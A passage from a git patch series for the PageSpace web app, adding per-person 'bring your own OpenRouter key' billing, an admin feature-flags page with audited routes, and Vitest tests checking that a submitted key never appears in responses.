}; } + // ADR 0009: one decision about whose key runs, shared with the gate when the caller made it there. + const keyDecision = + options.keySource ?? + (await resolveModelKeySource({ userId, provider: currentProvider, driveId: options.driveId, contentDriveIds: options.contentDriveIds, contentOrgIds: options.contentOrgIds })); + if (keyDecision.source === 'refused') return byokUnavailable(); + const keySource: ModelKeySource = keyDecision.source; + try { let model; @@ -240,13 +288,14 @@ export async function createAIProvider( // Every cloud vendor is served through OpenRouter. The model id already // carries its vendor prefix (openai/…, anthropic/…) and is forwarded as-is. const managed = getManagedProviderKey('openrouter'); - if (!managed?.apiKey) return notConfigured('OpenRouter'); + // A person's own key needs no deployment key at all. + if (keySource === 'managed' && !managed?.apiKey) return notConfigured('OpenRouter'); // X-OpenRouter-Cache enables OpenRouter's response cache (default 300s TTL): // byte-identical repeat requests are served from cache at $0 with zeroed // usage. See timestamp-utils.ts — the system-prompt timestamp is bucketed // to the cache window so genuine repeats (regenerate/retry) can HIT. - const openrouter = createOpenRouter({ - apiKey: managed.apiKey, + const openrouter = keySource === 'user_key' ? userKeyOpenRouter(userId, options) : createOpenRouter({ + apiKey: managed?.apiKey, // OPENROUTER_BASE_URL lets a non-prod environment (e.g. e2e) redirect the // OpenRouter API at a deterministic stub that returns known usage.cost, so // billing can be asserted end-to-end. Unset in prod → real OpenRouter. @@ -281,6 +330,7 @@ export async function createAIProvider( model, provider: currentProvider, modelName: currentModel, + keySource, }; } catch (error) { console.error('Error creating AI provider:', error); @@ -333,11 +383,21 @@ function providerOfModelId(modelId: string): string { */ export async function createImageProvider( request: { model: string }, - options: Pick, -): Promise<{ client: OpenRouterImageClient; provider: string; modelName: string } | ProviderError> { + options: Pick & { + /** Whose own key may pay for the image (the billed person); absent = PageSpace's key. */ + readonly userId?: string; + }, +): Promise<{ client: OpenRouterImageClient; provider: string; modelName: string; keySource: ModelKeySource } | ProviderError> { const provider = providerOfModelId(request.model); const refusal = await orgModelRefusal([options.driveId, ...(options.contentDriveIds ?? [])], [{ modelId: request.model, provider }], options.contentOrgIds); if (refusal) return refusal; + const keyDecision = + options.keySource ?? + (options.userId === undefined + ? { source: 'managed' as const } + : await resolveModelKeySource({ userId: options.userId, provider: 'openrouter', driveId: options.driveId, contentDriveIds: options.contentDriveIds, contentOrgIds: options.contentOrgIds })); + if (keyDecision.source === 'refused') return byokUnavailable(); + if (keyDecision.source === 'user_key' && options.userId !== undefined) return { client: userKeyOpenRouter(options.userId, options), provider, modelName: request.model, keySource: 'user_key' }; const managed = getManagedProviderKey('openrouter'); if (!managed?.apiKey) return notConfigured('OpenRouter'); const client = createOpenRouter({ @@ -345,7 +405,7 @@ export async function createImageProvider( ...(process.env.OPENROUTER_BASE_URL ? { baseURL: process.env.OPENROUTER_BASE_URL } : {}), headers: { 'X-OpenRouter-Cache': 'true' }, }); - return { client, provider, modelName: request.model }; + return { client, provider, modelName: request.model, keySource: 'managed' }; } export function createProviderErrorResponse(error: ProviderError): NextResponse { diff --git a/apps/web/src/lib/ai/tools/image-generation-tools.ts b/apps/web/src/lib/ai/tools/image-generation-tools.ts index 9cff09a276..a68d341254 100644 --- a/apps/web/src/lib/ai/tools/image-generation-tools.ts +++ b/apps/web/src/lib/ai/tools/image-generation-tools.ts @@ -180,9 +180,14 @@ restricted to app administrators.`, // POL-8: the image model is built by the provider factory, which judges it against the org allowlists of the // drive the turn runs in and of the drive the image lands in. Refused before any credit is reserved. + // Gated and recorded as the consumer the turn's gate bound (a manual Run's presser), else the caller. + const billedUserId = context?.creditSpend?.userId ?? userId; const imageProvider = await createImageProvider({ model }, { driveId: spendDriveId(context?.creditSpend?.spend ?? PERSONAL_SPEND), contentDriveIds: target.targetDriveId ? [target.targetDriveId] : [], + // BYOK (ADR 0009): the billed person's own OpenRouter key may pay for the image. + userId: billedUserId, + modelCall: { sessionId: context?.authSessionId ?? null, conversationId: context?.conversationId ?? null }, }); if (isProviderError(imageProvider)) { return { success: false, error: imageProvider.error }; @@ -192,12 +197,14 @@ restricted to app administrators.`, // The image spends the wallet the turn it runs in already named (WAL-5, SPEND-4): // the same drive and source, never a different one. Outside a gated turn there is // no drive session, so it spends personal credits (SPEND-8). - // Gated and recorded as the consumer the turn's gate bound (a manual Run's presser), else the caller. - const billedUserId = context?.creditSpend?.userId ?? userId; - const gate = await canConsumeAI(billedUserId, (tier ?? 'free') as SubscriptionTier, { - spend: context?.creditSpend?.spend ?? PERSONAL_SPEND, - estCostCents: IMAGE_GEN_HOLD_ESTIMATE_CENTS, - }); + const ownKey = imageProvider.keySource === 'user_key'; + // On the person's own key there is nothing to reserve: no hold, no charge. + const gate = ownKey + ? { allowed: true as const, holdId: undefined, walletId: undefined } + : await canConsumeAI(billedUserId, (tier ?? 'free') as SubscriptionTier, { + spend: context?.creditSpend?.spend ?? PERSONAL_SPEND, + estCostCents: IMAGE_GEN_HOLD_ESTIMATE_CENTS, + }); if (!gate.allowed) { return { success: false, @@ -233,6 +240,7 @@ restricted to app administrators.`, }) => { const resolved = resolveImageCost(args.providerCostDollars); const settle = await AIMonitoring.trackUsage({ + keySource: imageProvider.keySource, userId: billedUserId, provider: 'openrouter', model, diff --git a/packages/lib/src/billing/credit-backfill.ts b/packages/lib/src/billing/credit-backfill.ts index 5016fb26a0..5a0b424179 100644 --- a/packages/lib/src/billing/credit-backfill.ts +++ b/packages/lib/src/billing/credit-backfill.ts @@ -166,6 +166,8 @@ export async function backfillCredits(): Promise { gt(aiUsageLogs.cost, 0), lt(aiUsageLogs.timestamp, cutoff), notInArray(aiUsageLogs.provider, METERING_EXEMPT_PROVIDERS), + // BYOK (ADR 0009): a call on the person's own OpenRouter key was never owed in credits. + eq(aiUsageLogs.keySource, 'managed'), // WAL-6b: a row already found to name no wallet is terminal — never rescanned. isNull(aiUsageLogs.unattributedAt), ), diff --git a/packages/lib/src/logging/logger-database.ts b/packages/lib/src/logging/logger-database.ts index cf09a85f9e..eb2e9cdd3e 100644 --- a/packages/lib/src/logging/logger-database.ts +++ b/packages/lib/src/logging/logger-database.ts @@ -210,6 +210,8 @@ export async function writeAiUsage(usage: { walletId?: string; /** SPEND-10: the automation (its stored reference, automation-attribution) the call ran for with no person present. */ automationRef?: string; + /** BYOK (ADR 0009): whose provider key ran the call; default 'managed'. */ + keySource?: 'managed' | 'user_key'; success?: boolean; error?: string; source?: string; @@ -250,6 +252,7 @@ export async function writeAiUsage(usage: { sessionId: usage.sessionId, walletId: usage.walletId, automationRef: usage.automationRef, + keySource: usage.keySource ?? 'managed', success: usage.success, error: usage.error, source: usage.source, diff --git a/packages/lib/src/monitoring/ai-monitoring.ts b/packages/lib/src/monitoring/ai-monitoring.ts index 0934158cec..8f98611236 100644 --- a/packages/lib/src/monitoring/ai-monitoring.ts +++ b/packages/lib/src/monitoring/ai-monitoring.ts @@ -843,6 +843,11 @@ export interface AIUsageData { // route → here → consumeCredits. Absent for un-gated calls (e.g. cron paths). holdId?: string; + // BYOK (ADR 0009): whose provider key ran this call. 'user_key' = the person's own OpenRouter key through + // the credential plane: recorded, never billed in credits, never reconciled against PageSpace's account. + // Absent = 'managed'. + keySource?: 'managed' | 'user_key'; + // The wallet that hold was placed on (CreditGateResult.walletId, WAL-5), threaded with // it so the charge settles against the wallet the call named, never re-derived from the // user. Absent for un-gated calls, which charge the personal root wallet. @@ -1023,8 +1028,10 @@ export async function trackAIUsage(data: AIUsageData): Promise 0 ? ('pending' as const) : undefined; + const ownKey = data.keySource === 'user_key'; + // A generation on the person's own key is on THEIR OpenRouter account: PageSpace's key cannot read it back. + const reconcileStatus = ownKey ? undefined : hasRealCost && generationIds.length > 0 ? ('pending' as const) : undefined; + const unbilled = ownKey || isMeteringExempt(data.provider); // Persist the usage log, then debit the user's prepaid credit balance // (cost × markup) whenever real provider tokens were consumed — even if the @@ -1116,6 +1123,7 @@ export async function trackAIUsage(data: AIUsageData): Promise Date: Sun, 29 Nov 2026 19:56:18 -0600 Subject: [PATCH 05/35] =?UTF-8?q?feat(byok):=20admin=20feature=20flags=20p?= =?UTF-8?q?er=20person,=20and=20Settings=20=E2=86=92=20AI=20'Use=20your=20?= =?UTF-8?q?own=20OpenRouter=20key'=20(BYOK-2,=20BYOK-9)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Admin → Feature Flags: each flag code defines, its default, and per-person settings (search a person, turn it on or off for them, or back to the default). Every change is audited. - /api/user/model-key: GET status, PUT stores a key write-only to the plane (only for people the admin enabled, never on-prem), DELETE revokes it (always allowed). The key never appears in any response. - Settings → AI shows the card only to enabled people: no key is ever shown, only when it was added and last used. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- .../src/app/(admin)/feature-flags/page.tsx | 194 ++++++++++++++++++ .../[key]/users/[userId]/route.ts | 59 ++++++ .../admin/feature-flags/[key]/users/route.ts | 35 ++++ .../feature-flags/__tests__/route.test.ts | 89 ++++++++ .../src/app/api/admin/feature-flags/route.ts | 50 +++++ .../components/admin/shell/admin-shell.tsx | 2 + .../user/model-key/__tests__/route.test.ts | 100 +++++++++ apps/web/src/app/api/user/model-key/route.ts | 85 ++++++++ apps/web/src/app/settings/ai/ModelKeyCard.tsx | 149 ++++++++++++++ apps/web/src/app/settings/ai/page.tsx | 3 + 10 files changed, 766 insertions(+) create mode 100644 apps/admin/src/app/(admin)/feature-flags/page.tsx create mode 100644 apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts create mode 100644 apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts create mode 100644 apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts create mode 100644 apps/admin/src/app/api/admin/feature-flags/route.ts create mode 100644 apps/web/src/app/api/user/model-key/__tests__/route.test.ts create mode 100644 apps/web/src/app/api/user/model-key/route.ts create mode 100644 apps/web/src/app/settings/ai/ModelKeyCard.tsx diff --git a/apps/admin/src/app/(admin)/feature-flags/page.tsx b/apps/admin/src/app/(admin)/feature-flags/page.tsx new file mode 100644 index 0000000000..11339a28c9 --- /dev/null +++ b/apps/admin/src/app/(admin)/feature-flags/page.tsx @@ -0,0 +1,194 @@ +"use client"; + +/** + * Feature flags: turn a not-yet-GA feature on for named people, or for everyone. A person's own setting wins + * over the default. Every change is audited. + */ +import { useState } from "react"; +import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@/components/ui/card"; +import { Button } from "@/components/ui/button"; +import { Badge } from "@/components/ui/badge"; +import { Input } from "@/components/ui/input"; +import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@/components/ui/table"; +import { PageHeader, DataState } from "@/components/admin/kit"; +import { useAdminQuery } from "@/hooks/use-admin-query"; +import { fetchWithAuth } from "@/lib/auth/auth-fetch"; + +interface FlagState { + key: string; + label: string; + description: string; + enabledByDefault: boolean; + userOverrideCount: number; + unavailableHere: boolean; +} + +interface FlagUser { + userId: string; + name: string | null; + email: string | null; + enabled: boolean; + updatedAt: string; +} + +interface UserSearchResult { + id: string; + name: string | null; + email: string | null; +} + +async function send(url: string, method: "PUT" | "PATCH" | "DELETE", body?: unknown): Promise { + const response = await fetchWithAuth(url, { + method, + headers: { "Content-Type": "application/json" }, + body: body === undefined ? undefined : JSON.stringify(body), + }); + if (response.ok) return null; + const json = (await response.json().catch(() => ({}))) as { error?: string }; + return json.error ?? `Request failed (${response.status})`; +} + +function FlagPeople({ flag, onChanged }: { flag: FlagState; onChanged: () => void }) { + const usersUrl = `/api/admin/feature-flags/${flag.key}/users`; + const people = useAdminQuery<{ users: FlagUser[] }>(usersUrl); + const [query, setQuery] = useState(""); + const [results, setResults] = useState([]); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + + async function search() { + setError(null); + const response = await fetchWithAuth(`/api/admin/users?q=${encodeURIComponent(query.trim())}&limit=10`); + if (!response.ok) return setError("Search failed"); + const json = (await response.json()) as { users: UserSearchResult[] }; + setResults(json.users); + } + + async function act(run: () => Promise) { + setBusy(true); + setError(null); + const failed = await run(); + setBusy(false); + if (failed) return setError(failed); + people.refetch(); + onChanged(); + } + + const assigned = new Set((people.data?.users ?? []).map((user) => user.userId)); + + return ( +
+
{ + event.preventDefault(); + if (query.trim().length > 0) void search(); + }} + > + setQuery(event.target.value)} /> + +
+ + {results.length > 0 && ( + + + {results.map((user) => ( + + {user.name ?? "—"} + {user.email ?? "—"} + + {assigned.has(user.id) ? ( + Already set + ) : ( + + )} + + + ))} + +
+ )} + + {error &&

{error}

} + + + + + + Person + Email + Setting + Change + + + + {(people.data?.users ?? []).map((user) => ( + + {user.name ?? user.userId} + {user.email ?? "—"} + {user.enabled ? On : Off} + + + + + + ))} + +
+
+
+ ); +} + +export default function FeatureFlagsPage() { + const flags = useAdminQuery<{ flags: FlagState[] }>("/api/admin/feature-flags"); + const [error, setError] = useState(null); + + async function setDefault(flag: FlagState, enabledByDefault: boolean) { + setError(null); + const failed = await send("/api/admin/feature-flags", "PATCH", { key: flag.key, enabledByDefault }); + if (failed) setError(failed); + flags.refetch(); + } + + return ( +
+ + {error &&

{error}

} + + {(flags.data?.flags ?? []).map((flag) => ( + + + + {flag.label} + {flag.key} + {flag.unavailableHere && Off on this deployment} + + {flag.description} + + +
+
+

For everyone else: {flag.enabledByDefault ? "On" : "Off"}

+

{flag.userOverrideCount} {flag.userOverrideCount === 1 ? "person has" : "people have"} their own setting.

+
+ +
+ +
+
+ ))} +
+
+ ); +} diff --git a/apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts b/apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts new file mode 100644 index 0000000000..7b4ea8fc58 --- /dev/null +++ b/apps/admin/src/app/api/admin/feature-flags/[key]/users/[userId]/route.ts @@ -0,0 +1,59 @@ +import { NextResponse } from 'next/server'; +import { z } from 'zod/v4'; +import { db } from '@pagespace/db/db'; +import { eq } from '@pagespace/db/operators'; +import { users } from '@pagespace/db/schema/auth'; +import { withAdminAuth } from '@/lib/auth'; +import { auditRequest } from '@pagespace/lib/audit/audit-log'; +import { loggers } from '@pagespace/lib/logging/logger-config'; +import { isFeatureFlagKey } from '@pagespace/lib/feature-flags/flags'; +import { createFeatureFlagRepository } from '@pagespace/lib/feature-flags/feature-flag-repository'; + +type RouteContext = { params: Promise<{ key: string; userId: string }> }; + +const setOverrideBody = z.object({ enabled: z.boolean() }).strict(); + +/** PUT /api/admin/feature-flags/[key]/users/[userId] — turn the flag on (or off) for this one person. */ +export const PUT = withAdminAuth(async (adminUser, request, context) => { + const { key, userId } = await context.params; + if (!isFeatureFlagKey(key)) return NextResponse.json({ error: 'Unknown flag' }, { status: 404 }); + const parsed = setOverrideBody.safeParse(await request.json().catch(() => null)); + if (!parsed.success) return NextResponse.json({ error: 'Invalid request' }, { status: 400 }); + try { + const [target] = await db.select({ id: users.id }).from(users).where(eq(users.id, userId)).limit(1); + if (!target) return NextResponse.json({ error: 'User not found' }, { status: 404 }); + await createFeatureFlagRepository().setOverride({ flag: key, userId, enabled: parsed.data.enabled, adminUserId: adminUser.id }); + auditRequest(request, { + eventType: 'admin.settings.changed', + userId: adminUser.id, + resourceType: 'feature_flag', + resourceId: key, + details: { source: 'admin', action: 'set_feature_flag_user', targetUserId: userId, enabled: parsed.data.enabled }, + }); + return NextResponse.json({ success: true }); + } catch (error) { + loggers.api.error('Error setting feature flag for user', error instanceof Error ? error : undefined); + return NextResponse.json({ error: 'Failed to update feature flag' }, { status: 500 }); + } +}); + +/** DELETE /api/admin/feature-flags/[key]/users/[userId] — the person follows the flag's default again. */ +export const DELETE = withAdminAuth(async (adminUser, request, context) => { + const { key, userId } = await context.params; + if (!isFeatureFlagKey(key)) return NextResponse.json({ error: 'Unknown flag' }, { status: 404 }); + try { + const removed = await createFeatureFlagRepository().removeOverride({ flag: key, userId }); + if (!removed) return NextResponse.json({ error: 'No setting for this person' }, { status: 404 }); + auditRequest(request, { + eventType: 'admin.settings.changed', + userId: adminUser.id, + resourceType: 'feature_flag', + resourceId: key, + details: { source: 'admin', action: 'clear_feature_flag_user', targetUserId: userId }, + }); + return NextResponse.json({ success: true }); + } catch (error) { + loggers.api.error('Error clearing feature flag for user', error instanceof Error ? error : undefined); + return NextResponse.json({ error: 'Failed to update feature flag' }, { status: 500 }); + } +}); diff --git a/apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts b/apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts new file mode 100644 index 0000000000..7706890f5e --- /dev/null +++ b/apps/admin/src/app/api/admin/feature-flags/[key]/users/route.ts @@ -0,0 +1,35 @@ +import { NextResponse } from 'next/server'; +import { db } from '@pagespace/db/db'; +import { inArray } from '@pagespace/db/operators'; +import { users } from '@pagespace/db/schema/auth'; +import { withAdminAuth } from '@/lib/auth'; +import { loggers } from '@pagespace/lib/logging/logger-config'; +import { decryptUserRows } from '@pagespace/lib/auth/user-repository'; +import { isFeatureFlagKey } from '@pagespace/lib/feature-flags/flags'; +import { createFeatureFlagRepository } from '@pagespace/lib/feature-flags/feature-flag-repository'; + +type RouteContext = { params: Promise<{ key: string }> }; + +/** GET /api/admin/feature-flags/[key]/users — the people with their own setting for this flag. */ +export const GET = withAdminAuth(async (_adminUser, _request, context) => { + const { key } = await context.params; + if (!isFeatureFlagKey(key)) return NextResponse.json({ error: 'Unknown flag' }, { status: 404 }); + try { + const overrides = await createFeatureFlagRepository().listOverrides(key); + const ids = overrides.map((override) => override.userId); + const rows = ids.length === 0 ? [] : await decryptUserRows(await db.select({ id: users.id, name: users.name, email: users.email }).from(users).where(inArray(users.id, ids))); + const byId = new Map(rows.map((row) => [row.id, row])); + return NextResponse.json({ + users: overrides.map((override) => ({ + userId: override.userId, + name: byId.get(override.userId)?.name ?? null, + email: byId.get(override.userId)?.email ?? null, + enabled: override.enabled, + updatedAt: override.updatedAt, + })), + }); + } catch (error) { + loggers.api.error('Error listing feature flag users', error instanceof Error ? error : undefined); + return NextResponse.json({ error: 'Failed to list people' }, { status: 500 }); + } +}); diff --git a/apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts b/apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts new file mode 100644 index 0000000000..104a9c3a7b --- /dev/null +++ b/apps/admin/src/app/api/admin/feature-flags/__tests__/route.test.ts @@ -0,0 +1,89 @@ +/** + * Admin feature flags. Pinned here: only an admin reaches them; only flags code defines are accepted; a + * per-person setting is written for an existing person and audited with who changed it. + */ +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import { NextResponse } from 'next/server'; + +const { mockVerifyAdminAuth, mockRepo, mockAudit, mockUserLookup } = vi.hoisted(() => ({ + mockVerifyAdminAuth: vi.fn(), + mockRepo: { list: vi.fn(), setDefault: vi.fn(), listOverrides: vi.fn(), setOverride: vi.fn(), removeOverride: vi.fn() }, + mockAudit: vi.fn(), + mockUserLookup: vi.fn(), +})); + +vi.mock('@/lib/auth', () => ({ + withAdminAuth: (handler: (user: unknown, request: Request, context: T) => Promise) => async (request: Request, context: T) => { + const resolved = await mockVerifyAdminAuth(request); + if (resolved instanceof NextResponse) return resolved; + return handler(resolved, request, context); + }, +})); +vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ createFeatureFlagRepository: () => mockRepo })); +vi.mock('@pagespace/lib/audit/audit-log', () => ({ auditRequest: mockAudit })); +vi.mock('@pagespace/lib/logging/logger-config', () => ({ loggers: { api: { error: vi.fn(), info: vi.fn() } } })); +vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: () => false })); +vi.mock('@pagespace/db/db', () => ({ + db: { select: () => ({ from: () => ({ where: () => ({ limit: mockUserLookup }) }) }) }, +})); + +import { GET, PATCH } from '../route'; +import { PUT, DELETE } from '../[key]/users/[userId]/route'; + +const admin = { id: 'admin_1', role: 'admin' }; +const json = (method: string, body?: unknown) => new Request('http://localhost/api/admin/feature-flags', { method, headers: { 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) }); +const ctx = (key: string, userId: string) => ({ params: Promise.resolve({ key, userId }) }); + +beforeEach(() => { + vi.clearAllMocks(); + mockVerifyAdminAuth.mockResolvedValue(admin); + mockUserLookup.mockResolvedValue([{ id: 'user_1' }]); + mockRepo.list.mockResolvedValue([{ key: 'byok_model_key', enabledByDefault: false, updatedAt: null, userOverrideCount: 2 }]); + mockRepo.removeOverride.mockResolvedValue(true); +}); + +describe('GET /api/admin/feature-flags', () => { + it('given an admin, should list each flag with its label and default', async () => { + const body = await (await GET(json('GET'))).json(); + expect(body.flags.map((flag: { key: string; enabledByDefault: boolean; userOverrideCount: number; unavailableHere: boolean }) => [flag.key, flag.enabledByDefault, flag.userOverrideCount, flag.unavailableHere])).toEqual([['byok_model_key', false, 2, false]]); + }); + + it('given someone who is not an admin, should refuse', async () => { + mockVerifyAdminAuth.mockResolvedValue(NextResponse.json({ error: 'Forbidden' }, { status: 403 })); + expect((await GET(json('GET'))).status).toBe(403); + }); +}); + +describe('PATCH /api/admin/feature-flags', () => { + it('given a defined flag, should set its default and audit it', async () => { + const response = await PATCH(json('PATCH', { key: 'byok_model_key', enabledByDefault: true })); + expect([response.status, mockRepo.setDefault.mock.calls[0]?.[0], mockAudit.mock.calls[0]?.[1]?.resourceId]).toEqual([200, { flag: 'byok_model_key', enabled: true, adminUserId: 'admin_1' }, 'byok_model_key']); + }); + + it('given a key code does not define, should refuse and write nothing', async () => { + const response = await PATCH(json('PATCH', { key: 'make_everyone_admin', enabledByDefault: true })); + expect([response.status, mockRepo.setDefault.mock.calls.length]).toEqual([400, 0]); + }); +}); + +describe('PUT/DELETE /api/admin/feature-flags/[key]/users/[userId]', () => { + it('given an existing person, should turn the flag on for them and audit who did it', async () => { + const response = await PUT(json('PUT', { enabled: true }), ctx('byok_model_key', 'user_1')); + expect([response.status, mockRepo.setOverride.mock.calls[0]?.[0], mockAudit.mock.calls[0]?.[1]?.details?.targetUserId]).toEqual([200, { flag: 'byok_model_key', userId: 'user_1', enabled: true, adminUserId: 'admin_1' }, 'user_1']); + }); + + it('given a person who does not exist, should answer 404 and write nothing', async () => { + mockUserLookup.mockResolvedValue([]); + const response = await PUT(json('PUT', { enabled: true }), ctx('byok_model_key', 'ghost')); + expect([response.status, mockRepo.setOverride.mock.calls.length]).toEqual([404, 0]); + }); + + it('given an unknown flag, should answer 404', async () => { + expect((await PUT(json('PUT', { enabled: true }), ctx('nope', 'user_1'))).status).toBe(404); + }); + + it('given a person with a setting, should clear it so they follow the default', async () => { + const response = await DELETE(json('DELETE'), ctx('byok_model_key', 'user_1')); + expect([response.status, mockRepo.removeOverride.mock.calls[0]?.[0]]).toEqual([200, { flag: 'byok_model_key', userId: 'user_1' }]); + }); +}); diff --git a/apps/admin/src/app/api/admin/feature-flags/route.ts b/apps/admin/src/app/api/admin/feature-flags/route.ts new file mode 100644 index 0000000000..4c753071e8 --- /dev/null +++ b/apps/admin/src/app/api/admin/feature-flags/route.ts @@ -0,0 +1,50 @@ +import { NextResponse } from 'next/server'; +import { z } from 'zod/v4'; +import { withAdminAuth } from '@/lib/auth'; +import { auditRequest } from '@pagespace/lib/audit/audit-log'; +import { loggers } from '@pagespace/lib/logging/logger-config'; +import { isOnPrem } from '@pagespace/lib/deployment-mode'; +import { FEATURE_FLAGS, FEATURE_FLAG_KEYS } from '@pagespace/lib/feature-flags/flags'; +import { createFeatureFlagRepository } from '@pagespace/lib/feature-flags/feature-flag-repository'; + +const setDefaultBody = z.object({ key: z.enum(FEATURE_FLAG_KEYS), enabledByDefault: z.boolean() }).strict(); + +/** GET /api/admin/feature-flags — every flag code defines, its default, and how many people have their own setting. */ +export const GET = withAdminAuth(async () => { + try { + const states = await createFeatureFlagRepository().list(); + const onPrem = isOnPrem(); + return NextResponse.json({ + flags: states.map((state) => ({ + ...state, + label: FEATURE_FLAGS[state.key].label, + description: FEATURE_FLAGS[state.key].description, + // Off on-prem whatever is set here: say so instead of offering a switch that does nothing. + unavailableHere: onPrem && !FEATURE_FLAGS[state.key].availableOnPrem, + })), + }); + } catch (error) { + loggers.api.error('Error listing feature flags', error instanceof Error ? error : undefined); + return NextResponse.json({ error: 'Failed to list feature flags' }, { status: 500 }); + } +}); + +/** PATCH /api/admin/feature-flags — turn a flag on or off for everyone who has no setting of their own. */ +export const PATCH = withAdminAuth(async (adminUser, request) => { + const parsed = setDefaultBody.safeParse(await request.json().catch(() => null)); + if (!parsed.success) return NextResponse.json({ error: 'Invalid request' }, { status: 400 }); + try { + await createFeatureFlagRepository().setDefault({ flag: parsed.data.key, enabled: parsed.data.enabledByDefault, adminUserId: adminUser.id }); + auditRequest(request, { + eventType: 'admin.settings.changed', + userId: adminUser.id, + resourceType: 'feature_flag', + resourceId: parsed.data.key, + details: { source: 'admin', action: 'set_feature_flag_default', enabledByDefault: parsed.data.enabledByDefault }, + }); + return NextResponse.json({ success: true }); + } catch (error) { + loggers.api.error('Error setting feature flag default', error instanceof Error ? error : undefined); + return NextResponse.json({ error: 'Failed to update feature flag' }, { status: 500 }); + } +}); diff --git a/apps/admin/src/components/admin/shell/admin-shell.tsx b/apps/admin/src/components/admin/shell/admin-shell.tsx index 0401bc21a4..7f524791a9 100644 --- a/apps/admin/src/components/admin/shell/admin-shell.tsx +++ b/apps/admin/src/components/admin/shell/admin-shell.tsx @@ -23,6 +23,7 @@ import { TrendingUp, Users, X, + Flag, type LucideIcon, } from 'lucide-react'; import { Button } from '@/components/ui/button'; @@ -91,6 +92,7 @@ const NAV_GROUPS: NavGroup[] = [ items: [ { href: '/tables', label: 'Database', icon: Database }, { href: '/global-prompt', label: 'Global Prompt', icon: MessageSquareText }, + { href: '/feature-flags', label: 'Feature Flags', icon: Flag }, ], }, ]; diff --git a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts new file mode 100644 index 0000000000..a12e6eb3a3 --- /dev/null +++ b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts @@ -0,0 +1,100 @@ +/** + * ADR 0009 — /api/user/model-key. A thin adapter over the authority. Pinned here: + * - the key a person submits reaches the authority and NEVER appears in any response (canary by value); + * - only a person the admin enabled may store a key; anyone may remove theirs; + * - on-prem, or without the credential plane, nothing is stored. + */ +import { describe, it, expect, vi, beforeEach } from 'vitest'; + +const mockAuthority = vi.hoisted(() => ({ getModelKey: vi.fn(), setModelKey: vi.fn(), removeModelKey: vi.fn() })); +const mockGetAuthority = vi.hoisted(() => vi.fn()); +const mockFlag = vi.hoisted(() => vi.fn()); +const mockOnPrem = vi.hoisted(() => vi.fn(() => false)); + +vi.mock('@/lib/auth', () => ({ + authenticateRequestWithOptions: vi.fn(), + isAuthError: vi.fn((result: unknown) => result !== null && typeof result === 'object' && 'error' in result), +})); +vi.mock('@pagespace/lib/logging/logger-config', () => ({ + loggers: { api: { info: vi.fn(), warn: vi.fn(), error: vi.fn(), debug: vi.fn() } }, +})); +vi.mock('@pagespace/lib/audit/audit-log', () => ({ auditRequest: vi.fn() })); +vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: mockOnPrem })); +vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ isFeatureEnabled: mockFlag })); +vi.mock('@/lib/agent-accounts/account-authority-client', () => ({ getAccountAuthority: mockGetAuthority })); + +import { GET, PUT, DELETE } from '../route'; +import { authenticateRequestWithOptions } from '@/lib/auth'; + +const CANARY = 'sk-or-v1-canary0123456789abcdef0123456789'; +const account = { id: 'acct_mk', kind: 'api_key', name: 'OpenRouter model key', ownerKind: 'user', providerSlug: 'openrouter-model-key', allowedOrigins: ['https://openrouter.ai:443'], acknowledgment: 'dedicated_agent_account', status: 'active', upstreamRevocation: null, lastUsedAt: null, createdAt: 1, revokedAt: null, ready: true, publicKey: null }; +const req = (method: string, payload?: unknown) => new Request('http://localhost/api/user/model-key', { method, ...(payload === undefined ? {} : { body: JSON.stringify(payload) }), headers: { 'content-type': 'application/json' } }); + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(authenticateRequestWithOptions).mockResolvedValue({ userId: 'user_1', tokenVersion: 0, tokenType: 'session' as const, sessionId: 'sess_1', role: 'user' as const, adminRoleVersion: 0 }); + mockGetAuthority.mockReturnValue(mockAuthority); + mockFlag.mockResolvedValue(true); + mockOnPrem.mockReturnValue(false); +}); + +describe('PUT /api/user/model-key', () => { + it('given an enabled person and a key, should hand it to the authority and answer 201 without it', async () => { + mockAuthority.setModelKey.mockResolvedValue({ ok: true, account }); + const response = await PUT(req('PUT', { apiKey: CANARY })); + const text = await response.text(); + expect({ status: response.status, leaked: text.includes(CANARY), handed: mockAuthority.setModelKey.mock.calls[0]?.[0]?.apiKey === CANARY, shown: JSON.parse(text).key }).toEqual({ + status: 201, + leaked: false, + handed: true, + shown: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' }, + }); + }); + + it('given a person the admin has not enabled, should refuse without touching the authority', async () => { + mockFlag.mockResolvedValue(false); + const response = await PUT(req('PUT', { apiKey: CANARY })); + expect([response.status, mockAuthority.setModelKey.mock.calls.length]).toEqual([403, 0]); + }); + + it('given on-prem, should refuse even with the flag on', async () => { + mockOnPrem.mockReturnValue(true); + const response = await PUT(req('PUT', { apiKey: CANARY })); + expect([response.status, mockAuthority.setModelKey.mock.calls.length]).toEqual([403, 0]); + }); + + it('given no credential plane, should answer 503 and store nothing', async () => { + mockGetAuthority.mockReturnValue(null); + expect((await PUT(req('PUT', { apiKey: CANARY }))).status).toBe(503); + }); + + it('given a refusal, should name the reason and never the key', async () => { + mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'key_invalid' }); + const response = await PUT(req('PUT', { apiKey: CANARY 